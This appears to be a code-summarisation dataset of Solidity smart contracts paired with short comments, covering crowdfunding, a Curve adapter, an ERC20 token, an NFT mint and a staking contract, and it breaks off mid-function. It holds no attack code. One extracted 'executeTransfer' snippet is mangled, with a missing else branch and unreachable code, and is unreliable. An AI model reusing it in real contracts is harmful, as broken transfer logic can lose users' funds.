~~~~~~~~~~~~~~~~~~~~~~~~~ function checkGoalReached() public afterDeadline { if (project.amountRaised >= project.goal) { project.fundingGoalReached = true; emit GoalReached(project.creator, project.amountRaised); } project.deadlineReached = true; } function () public payable { require(!project.deadlineReached); uint amount = msg.value; supporter[msg.sender] += amount; project.amountRaised += amount; emit FundTransfer(msg.sender, amount, true); checkGoalReached(); } function safeWithdrawal() public afterDeadline { // refund contributors if goal is not reached checkGoalReached(); if (!project.fundingGoalReached) { uint amount = supporter[msg.sender]; supporter[msg.sender] = 0; if (amount > 0) { if (msg.sender.send(amount)) { project.amountRaised -= amount; emit FundTransfer(msg.sender, amount, false); } else { supporter[msg.sender] = amount; } } } // creator can withdraw fund when goal is reached if (project.fundingGoalReached && project.creator == msg.sender) { if (project.creator.send(project.amountRaised)) { project.amountRaised = 0; emit FundTransfer(project.creator, project.amountRaised, false); } else { //If we fail to send the funds to beneficiary, unlock supporter balance project.fundingGoalReached = false; } } } }
Returns all information of the project relevant for
function getProjectInformation() public view returns(address, string, string, string, uint, uint, uint) { return ( project.creator, project.name, project.shortDescription, project.longDescription, (project.amountRaised / (1 ether)), (project.goal / (1 ether)), this.getTimeToGoInSeconds() ); }
5,368,361
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "./../interfaces/IExchangeAdapter.sol"; import "@openzeppelin/contracts/interfaces/IERC20Metadata.sol"; // solhint-disable func-name-mixedcase // solhint-disable var-name-mixedcase interface ICurveEURt { function exchange_underlying( uint256 i, uint256 j, uint256 dx, uint256 min_dy ) external returns (uint256); function add_liquidity( uint256[4] memory amounts, uint256 min_mint_amount ) external; function remove_liquidity_one_coin( uint256 token_amount, uint256 i, uint256 min_amount ) external; } contract CurveEURtAdapter { IERC20 public constant lpToken = IERC20(0x600743B1d8A96438bD46836fD34977a00293f6Aa); //Curve EURT-3Crv (crvEURTUSD) function indexByCoin( address coin ) public pure returns (uint256) { // We are using the underlying coins for swaps. if (coin == 0x7BDF330f423Ea880FF95fC41A280fD5eCFD3D09f) return 1; // EURt polygon if (coin == 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063) return 2; // dai polygon if (coin == 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174) return 3; // usdc polygon if (coin == 0xc2132D05D31c914a87C6611C10748AEb04B58e8F) return 4; // usdt polygon return 0; } // 0x6012856e => executeSwap(address,address,address,uint256) function executeSwap( address pool, address fromToken, address toToken, uint256 amount ) external payable returns (uint256) { ICurveEURt curve = ICurveEURt(pool); // Swap between two USD stable coins uint256 i = indexByCoin(fromToken); uint256 j = indexByCoin(toToken); require(i != 0 && j != 0, "EURtAdapter: can't swap"); return curve.exchange_underlying(i - 1, j - 1, amount, 0); } // 0xe83bbb76 => enterPool(address,address,address,uint256) function enterPool( address pool, address fromToken, uint256 amount ) external payable returns (uint256) { ICurveEURt curve = ICurveEURt(pool); // enter EURt pool to get crvEURTUSD token uint256[4] memory amounts; uint256 i = indexByCoin(fromToken); require(i != 0, "EURtAdapter: can't enter"); amounts[i - 1] = amount; curve.add_liquidity(amounts, 0); return lpToken.balanceOf(address(this)); } // 0x9d756192 => exitPool(address,address,address,uint256) function exitPool( address pool, address toToken, uint256 amount ) external payable returns (uint256) { ICurveEURt curve = ICurveEURt(pool); // exit EURt pool to get stable uint256 i = indexByCoin(toToken); require(i != 0, "EURtAdapter: can't exit"); curve.remove_liquidity_one_coin(amount, i - 1, 0); return IERC20(toToken).balanceOf(address(this)); } }
0x9d756192 => exitPool(address,address,address,uint256) exit EURt pool to get stable
function exitPool( address pool, address toToken, uint256 amount ) external payable returns (uint256) { ICurveEURt curve = ICurveEURt(pool); uint256 i = indexByCoin(toToken); require(i != 0, "EURtAdapter: can't exit"); curve.remove_liquidity_one_coin(amount, i - 1, 0); return IERC20(toToken).balanceOf(address(this)); }
6,378,602
/* * This is the source code of the smart contract for the IaS Money token. */ pragma solidity ^0.4.19; // ERC Token standard #20 Interface // https://github.com/ethereum/EIPs/issues/20 contract ERC20Interface { // Token symbol string public symbol; // Name of token string public name; // Decimals of token uint8 public decimals; // Total token supply function totalSupply() public constant returns (uint256 supply); // The balance of account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); // Send _value tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); // Send _value tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. // this function is required for some DEX functionality function approve(address _spender, uint256 _value) public returns (bool success); // Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) public constant returns (uint256 remaining); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // Implementation of ERC20Interface contract ERC20Token is ERC20Interface{ // account balances mapping(address => uint256) internal balances; // Owner of account approves the transfer of amount to another account mapping(address => mapping (address => uint256)) internal allowed; // Function to access acount balances function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } // Transfer the _amount from msg.sender to _to account function transfer(address _to, uint256 _amount) public returns (bool) { return executeTransfer(msg.sender, _to, _amount); } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public returns (bool) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // Function to specify how much _spender is allowed to transfer on _owner's behalf function allowance(address _owner, address _spender) public constant returns (uint256) { return allowed[_owner][_spender]; } // Internal function to execute transfer function executeTransfer(address _from, address _to, uint256 _amount) internal returns (bool){ if (balances[_from] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } } contract IaSEther is ERC20Token { // Total supply of tokens uint256 internal maxSupply; // Token symbol string public symbol = 'ISE'; // Name of token string public name = 'I. & S. Ether'; // Gold = BTC uint8 public decimals = 9; // unit = 10**decimals uint256 public constant unit = 1000000000; // The ETH to ISE exchange rate uint256 public constant price = 1 finney / unit; function IaSEther() public{ // very scarce 42k coins: maxSupply = 42000 * unit; balances[this] = maxSupply; } function () public payable{ buy(); } function buy() public payable{ // compute the number of tokens to send back uint256 amount = msg.value / price; // ship the tokens to the buyer require(executeTransfer(this, msg.sender, amount)); } function totalSupply() public constant returns (uint256){ return maxSupply; } function transfer(address _to, uint256 _amount) public returns (bool){ // first receive tokens by the seller bool success = super.transfer(_to, _amount); // send the ETH back to the seller if ((_to == address(this)) && success){ uint256 value = _amount * price; msg.sender.transfer(value); } return success; } }
Internal function to execute transfer
function executeTransfer(address _from, address _to, uint256 _amount) internal returns (bool){ if (balances[_from] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; return false; } }
13,088,413
./full_match/1/0x3Cf69C6e77B1cF77f6BD41f4497aDa96646F66a1/sources/contracts/ArtParty.sol
allow public minting numberOfTokens the number of tokens to be minted/
function mint(uint256 numberOfTokens) external payable isPublicSaleActive supplyAvailable(numberOfTokens) nonReentrant { if (numberOfTokens > MAX_PUBLIC_MINT) revert PurchaseWouldExceedMaximumPublicMint(); if (numberOfTokens * price != msg.value) revert EtherValueSentIsNotCorrect(); _safeMint(msg.sender, numberOfTokens); }
4,846,553
// Sources flattened with hardhat v2.8.3 https://hardhat.org // File @openzeppelin/contracts/utils/math/[email protected] // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/security/[email protected] // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File contracts/main/BetDaoStaking.sol pragma solidity ^0.8.0; // MasterChef is the master of Panther. He can make Panther and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once BCHIEF is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract BetDaoStaking is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 rewardLockedUp; // Reward locked up. uint256 nextHarvestUntil; // When can the user harvest again. // // We do some fancy math here. Basically, any point in time, the amount of BCHIEFs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accBChiefPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accBChiefPerShare` (and `lastRewardTimestamp`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 token; // Address of token contract. uint256 allocPoint; // How many allocation points assigned to this pool. BCHIEFs to distribute per block. uint256 lastRewardTimestamp; // Last block number that BCHIEFs distribution occurs. uint256 accBChiefPerShare; // Accumulated BCHIEFs per share, times 1e12. See below. uint256 harvestInterval; // Harvest interval in seconds uint256 tvl; uint16 depositFeeBP; } // The BCHIEF TOKEN! IERC20 public bChief; // BCHIEF tokens created per block. uint256 public bChiefPerSec; // Bonus muliplier for early bChief makers. uint256 public constant BONUS_MULTIPLIER = 1; // Max harvest interval: 14 days. uint256 public constant MAXIMUM_HARVEST_INTERVAL = 14 days; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when BCHIEF mining starts. uint256 public startTimestamp; // Total locked up rewards uint256 public totalLockedUpRewards; bool public shouldUpdatePoolsByUser; address public feeRecipient; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmissionRateUpdated(address indexed caller, uint256 previousAmount, uint256 newAmount); event ReferralCommissionPaid(address indexed user, address indexed referrer, uint256 commissionAmount); event RewardLockedUp(address indexed user, uint256 indexed pid, uint256 amountLockedUp); constructor( IERC20 _bChief, uint256 _startTimestamp, uint256 _bChiefPerSec ) public { bChief = _bChief; startTimestamp = _startTimestamp; bChiefPerSec = _bChiefPerSec; feeRecipient = msg.sender; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _token, uint256 _harvestInterval, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner { require(_harvestInterval <= MAXIMUM_HARVEST_INTERVAL, "add: invalid harvest interval"); require(_depositFeeBP < 10000, 'invalid deposit fee'); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardTimestamp = block.timestamp > startTimestamp ? block.timestamp : startTimestamp; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ token: _token, allocPoint: _allocPoint, lastRewardTimestamp: lastRewardTimestamp, accBChiefPerShare: 0, harvestInterval: _harvestInterval, tvl: 0, depositFeeBP: _depositFeeBP })); } // Update the given pool's BCHIEF allocation point and deposit fee. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, uint256 _harvestInterval, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner { require(_harvestInterval <= MAXIMUM_HARVEST_INTERVAL, "set: invalid harvest interval"); require(_depositFeeBP < 10000, 'invalid deposit fee'); if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; poolInfo[_pid].harvestInterval = _harvestInterval; poolInfo[_pid].depositFeeBP = _depositFeeBP; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } // View function to see pending BCHIEFs on frontend. function pendingBChief(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accBChiefPerShare = pool.accBChiefPerShare; uint256 tokenSupply 